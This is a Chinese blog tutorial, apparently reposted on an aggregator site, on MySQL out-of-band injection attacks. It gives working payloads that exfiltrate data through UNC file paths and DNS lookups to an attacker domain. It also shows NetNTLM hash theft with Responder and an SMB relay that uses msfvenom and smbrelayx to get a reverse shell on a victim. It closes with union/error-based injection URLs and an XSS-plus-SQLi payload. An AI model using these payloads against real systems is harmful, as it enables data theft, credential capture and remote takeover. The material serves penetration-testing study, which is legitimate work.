zoukankan      html  css  js  c++  java
  • MySQL Out-of-Band 攻击

    概述

    当涉及到MSSQL与Oracle时,Out-of-Band 注入是非常好的方式。但我注意到MySQL注入的情况并非如此,于是我准备以自己在SQL注入方面的经验做相关的研究。我们可以利用诸如load_file() 和 select…into之类的函数来outfile/dumpfile。除此之外,我们还可以窃取NetNTLM哈希或者进行SMB中继攻击。这所有的一切都只能在Windows环境下的MySQL中实现。

    什么是 Out-of-Band 注入?

    这些攻击涉及除了通过除服务器提取数据之外的其他方式,可能是HTTP(S)请求、DNS解析、文件系统、电子邮件等,具体取决于后端实现的功能。

    MySQL中的限制条件

    MySQL中有一个名为secure_file_priv的全局系统变量。这个变量用于限制数据导入和导出操作造成的影响,例如由LOAD DATA 和SELECT…INTO OUTFILE语句和LOAD_FILE()函数执行的操作。

    • 如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。
    • 如果变量为空,则不会产生影响,引起不安全的配置。
    • 如果变量设置为NULL,那么服务器就会禁用导入和导出操作。这个值从MySQL 5.5.53版本开始允许。

    在MySQL 5.5.53之前,此变量默认为空,因此我们就可以使用这些函数。但是在5.5.53之后的版本中,NULL值会禁用这些功能。我们可使用其中的一种方法来检查这个变量的值。Secure_file_priv是一个全局变量,它是一个只读变量,你不能在运行时改变它。

    select @@secure_file_priv;

    select @@global.secure_file_priv;

    show variables like “secure_file_priv”;

    例如我的MySQL 5.5.34中的默认值为空,我们就可以使用这些功能。

    5-5-34

    在MySQL 5.6.34版本中,这个值默认是NULL,这将禁用导入和导出操作。

    5-6-34

    解决方案

    这里有几个解决方法,可以在5.5.53之后的版本中克服这个问题。

    • 启动mysqld进程,将“-secure-file-priv =”参数设置为空。

    mysqld.exe –secure-file-priv=

    • 在“my.ini”配置文件中添加条目:

    secure-file-priv=

    查找默认选项的加载顺序和配置文件的路径,键入以下内容:

    mysqld.exe –help –verbose

    • 将配置文件指向mysqld.exe

    你可以创建一个新文件”myfile.ini”并将此文件作为MySQL的默认配置。

    mysqld.exe –defaults-file=myfile.ini

    配置内容如下

    [mysqld]

    secure-file-priv=

    使用文件系统提取数据

    在MySQL中,我们可以使用共享文件系统作为替代通道来提取数据。

    select @@version into outfile ‘\\192.168.0.100\temp\out.txt’;

    select @@version into dumpfile ‘\\192.168.0.100\temp\out.txt’;

    select @@version into outfile ‘//192.168.0.100/temp/out.txt’;

    select @@version into dumpfile ‘//192.168.0.100/temp/out.txt’;

    请注意,如果过滤引号,无法使用十六进制会话或者其他格式作为文件路径

    使用DNS解析提取数据

    可以在MySQL中使用的另一个渠道是DNS解析。

    select load_file(concat(‘\\’,version(),’.hacker.site\a.txt’));

    select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));

    可以清楚地看到版本5.6.34跟DNS查询一起发送。

    wshark (1)

    当MySQL尝试解析DNS查询时,我们可以记录DNS请求并从“hacker.site”DNS服务器成功提取数据。数据记录为子域。

    dnslogs (1)

    提取数据时需要注意DNS请求不能使用特殊字符。可以利用MySQL字符串函数如mid、substr、replace等处理这些情况。

    窃取NetNTLM哈希

    正如你之前看到的,’load_file’和’into outfile / dumpfile’在Windows下的UNC路径下运行正常,可以用于解析一个不存在的路径,当DNS失败时,请求将作为LLMNR发送、NetBIOS- NS查询。通过投毒LLMNR协议,我们可以捕获NTLMv2哈希。 我们在攻击中可用到的工具包括:

    with-watermakr-copy (1)

    以Responder为例。在Windows 8 x64中运行MySQL 5.6.34。

    responder -I eth0 -rv

    接下来,我们可以使用’load_file’,’into outfile / dumpfile’或’load data infile’来解析一个无效的UNC路径。

    select load_file(‘\\error\abc’);

    select load_file(0x5c5c5c5c6572726f725c5c616263);

    select ‘osanda’ into dumpfile ‘\\error\abc’;

    select ‘osanda’ into outfile ‘\\error\abc’;

    load data infile ‘\\error\abc’ into table database.table_name;

    ntlmv2 (1)

    视频演示:

    https://www.youtube.com/watch?v=zE-TsQVn9oI

    你也可以通过互联网窃取NetNTLM哈希。用VPS测试。

    overinternet (1)

    SMB中继攻击

    通过使用“load_file”,“into outfile / dumpfile”和“load data infile”等函数,我们可以在Windows下访问UNC路径。我们可以在执行SMB中继攻击时利用此功能,并且在目标设备中弹出一个shell。以下是SMB中继攻击的可视化演示。这是我的实验设置配置:

    smb-relay-copy

    • MySQL服务器:Windows 8: 192.168.0.100
    • 攻击者:Kali: 192.168.0.101
    • 受害者:Windows 7: 192.168.0.103(以管理员身份运行)

    使用的工具

    首先,我在我的Kali上生成一个反向shell,并在Metasploit上运行’multi/handler’模块。

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=443 -f exe > 
    reverse_shell.exe

    然后使用smbrelayx指定受害者的IP地址和生成的反向shell并等待传入的连接。

    smbrelayx.py -h 192.168.0.103 -e ./reverse_shell.exe

    一旦我们从MySQL服务器中执行任意语句,我们就可以得到反向shell。

    select load_file(‘\\192.168.0.101\aa’);

    select load_file(0x5c5c5c5c3139322e3136382e302e3130315c5c6161);

    select ‘osanda’ into dumpfile ‘\\192.168.0.101\aa’;

    select ‘osanda’ into outfile ‘\\192.168.0.101\aa’;

    load data infile ‘\\192.168.0.101\aa’ into table database.table_name;

    这些是Metasploit中’multi / handler’模块的选项。

    msfoptions

    一旦MySQL服务器把请求发送到Kali,smbrelayx就会执行SMB中继攻击将我们的反向shell上传并执行。

    smbrelayx

    如果攻击成功,我们就可以从Windows 7中获得反向shell。

    shell

    union注入和报错注入

    ‘load_file’函数能够用于基于union的报错注入。例如在基于union的场景中,我们可以使用OOB注入:

    http://192.168.0.100/?
    id=-1'+union+select+1,load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e7478
    74)),3-- -

    我们也可以使用基于报错的技术如BIGINT溢出方法或者基于EXP报错的方法。

    http://192.168.0.100/?id=-1' or !(select*from(select 
    load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))x)-~0-- -
    
    http://192.168.0.100/?id=-1' or exp(~(select*from(select 
    load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))a))-- -

    不使用or,可以使用 ||, |, and, &&, &, >>, <<, ^, xor, <=, <, ,>, >=, *, mul, /, div, -, +, %, mod等。

    XSS + SQLi

    我们可以将XSS攻击与MySQL相结合,以便于在渗透测试中帮你解决不同场景中的问题。我们可以执行执行窃取NetNTLM哈希和结合XSS的SMB中继攻击。如果XSS是持续的,那么受害者每次访问页面都会被感染。需要注意的是,当处理JavaScript时,你处于同源策略(SOP)环境下。

    <svg onload=fetch(("http://192.168.0.100/?
    id=-1'+union+select+1,load_file(0x5c5c5c5c6572726f725c5c6161),3-- -"))>

    还可以使用MySQL回显HTML,从而回显一个无效的UNC路径来窃取NetNTLM哈希或者直接使用攻击者的IP实施SMB中继攻击。这些UNC路径仅在IE Web浏览器中解析。

    http://192.168.0.100/?id=-1' union select 1,'<img src="\\error\aa">'%23

    总结

    当向量被禁用、受限或者被过滤且唯一的选择就是使用推理方法,从而导致所有带内方法不起作用时,可以使用这些讨论的方法。’select … into outfile / dumpfile’可以用于基于union的注入。’load_file’方法可以用于基于union的注入和基于报错的注入。

    Paper

    参考

  • 相关阅读:
    限制结果集行数
    函数的差异
    运算符的差异
    数据类型的差异
    简介
    Spring源码阅读入门指引
    Spring的三种注入方式
    AOP面向切面编程
    leetcode771
    leetcode669
  • 原文地址:https://www.cnblogs.com/blacksunny/p/8060047.html
Copyright © 2011-2022 走看看